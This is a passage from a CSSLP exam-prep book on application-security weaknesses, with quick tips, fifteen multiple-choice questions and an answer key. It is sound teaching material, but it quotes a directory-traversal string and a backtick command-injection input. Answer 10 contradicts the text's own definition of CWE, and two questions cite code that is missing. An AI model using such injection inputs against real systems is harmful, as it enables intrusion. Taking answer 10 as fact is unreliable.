The chapter provided a discussion of the common enumerations of security elements, such as common weaknesses, common vulnerabilities, and others. The use of these elements in an automated system to improve the understanding of security was also covered. The chapter closed with a look at social engineering and its effect on the people side of systems.
Quick Tips
• The CWE/SANS Top 25 and OWASP Top 10 lists can be used as a checklist of reminders and as a source for a custom “Top N” list that incorporates internal historical data.
• Injection attacks are some of the most common and severe attacks that are currently being seen in software.
• The SQL injection attack is performed by an attacker inputting a specific string to manipulate the SQL statement to do something other than that intended by the programmer or designer.
• Command injection attacks manipulate the input to cause additional command-level functionality.
• Cross-site scripting and cross-site request forgery attacks are web application attacks that use improperly validated input strings to result in unauthorized and undesired behaviors.
• Failures in the application of cryptography can result in failed protection for data.
• Credentials or other secret data should never be hard-coded in a program.
• Not encrypting all of the sensitive data is a common failure mode.
• All user input should be considered suspect and validated before use.
• The Common Weakness Enumeration (CWE) is a list of software weaknesses created by a community initiative.
• The Common Vulnerabilities and Exposures (CVE) is a list of standard identifiers for known software vulnerabilities that have been found in software.
• Social engineering refers to attacks against the people side of a system.
Questions
To help you further prepare for the CSSLP exam, and to provide you with a feel for your level of preparedness, answer the following questions and then check your answers against the list of correct answers found at the end of the chapter.
1. An attack that uses the user interface to manipulate data structures behind the application is called:
A. Buffer overflow
B. Configuration attack
C. Command injection
D. SQL injection
2. Which of the following is not a common cryptographic failure?
A. AES seed manipulation
B. Failure to encrypt sensitive data
C. Hard-coding of cryptographic keys
D. Custom cryptographic algorithms
3. A structured form of attack used when errors are suppressed is referred to as:
A. Black box testing
B. Blind
C. Polymorphic
D. Mitigation avoidance methodology
4. Input strings similar to %2e%2e%2f are indicative of what type of attack?
A. Command injection
B. SQL injection
C. Directory traversal
D. Buffer overflow
5. To attack a web application and attempt to get a copy of the configuration file on a server, one could use a(n):
A. XSS attack
B. CSRF attack
C. Arithmetic overflow attack
D. Confused deputy problem
6. A known weakness of hashing is duplicate values for identical inputs. To solve this, one uses what technique?
A. This cannot be solved; it is the nature of hashing
B. Multiple hash rounds, either double or triple hashing
C. Newer hash functions like SHA-256
D. Salting of the hash
7. Screening of code for use of disallowed functions is best performed by:
A. Code walkthroughs
B. Static testing
C. Company policy
D. Misuse cases
8. An attack against old data in memory is referred to as a(n) ___________ attack.
A. ASLR
B. Data remanence
C. SQL injection
D. Buffer overflow
9. Embedded devices are frequently attacked in order to achieve:
A. Cryptographic tokens
B. Enterprise access
C. Street credentials
D. Information disclosure
10. A common language to describe and exchange information about the causes of software vulnerabilities is:
A. CVS
B. CVE
C. CSSLP
D. CNSS
11. The “HasRows()” function of the following can lead to what type of failure in use?
A. Defense-in-depth failure
B. Security through obscurity
C. Output validation
D. Reliance on untrusted inputs for a security decision
12. Sending the following input: % ./a.out `./script` to this code snippet is an example of what type of attack?
A. Command injection
B. SQL injection
C. Buffer overflow
D. Input validation
13. Manipulation of stored values to create a more permanent effect is an example of a:
A. DOM-based XSS attack
B. Persistent XSS attack
C. Persistent CSRF attack
D. Reflected XSS attack
14. When validating input before use, one needs to be aware of the following issues except:
A. Session management
B. Encoding methods
C. Canonical form
D. Language-based character sets
15. Historically, the most damaging and still significant threat is the ______ attack.
A. User impersonation
B. Cross-site scripting
C. SQL injection
D. Buffer overflow
Answers
1. D. The SQL injection modifies SQL commands to a back-end database.
2. A. AES seed manipulation is a nonsense distractor.
3. B. Blind attacks are those where the errors are suppressed and the attack mechanism is structured to proceed without feedback.
4. C. %2e%2e%2f is ASCII for ../ a set of characters involved in directory traversal attacks.
5. A. The use of cross-site scripting and command injection are the best options for stealing a file.
6. D. Salting adds randomness to a value being hashed, preventing duplicate hash values.
7. B. Static testing is the best way to search code bases for disallowed functions in an application.
8. B. A data remanence attack is one where the memory is attacked to determine previous memory entries in an attempt to get a copy of information.
9. D. Information disclosure from embedded devices is one of the primary reasons behind attacking them.
10. B. The CVE is a list of standard identifiers for known software vulnerabilities that have been found in software.
11. C. Output validation assures that a function’s output matches expectations before use as an input in another function or decision. It would be better to look for a single row, as multiple rows indicate a failure.
12. A. This is a command injection attack, where the ` character changes the meaning of the input string in a command shell environment.
13. B. A stored XSS or persistent attack generally affects web-based applications (e.g., message forums), which persist user-supplied data for later display.
14. A. Session management may be important in an application, but when it comes to input validation, canonical form, character-encoding schemes, and language-specific character sets are more important.
15. D. The buffer overflow is historically the largest attack surface.
..................Content has been hidden....................
You can't read the all page of ebook, please click here login for view all page.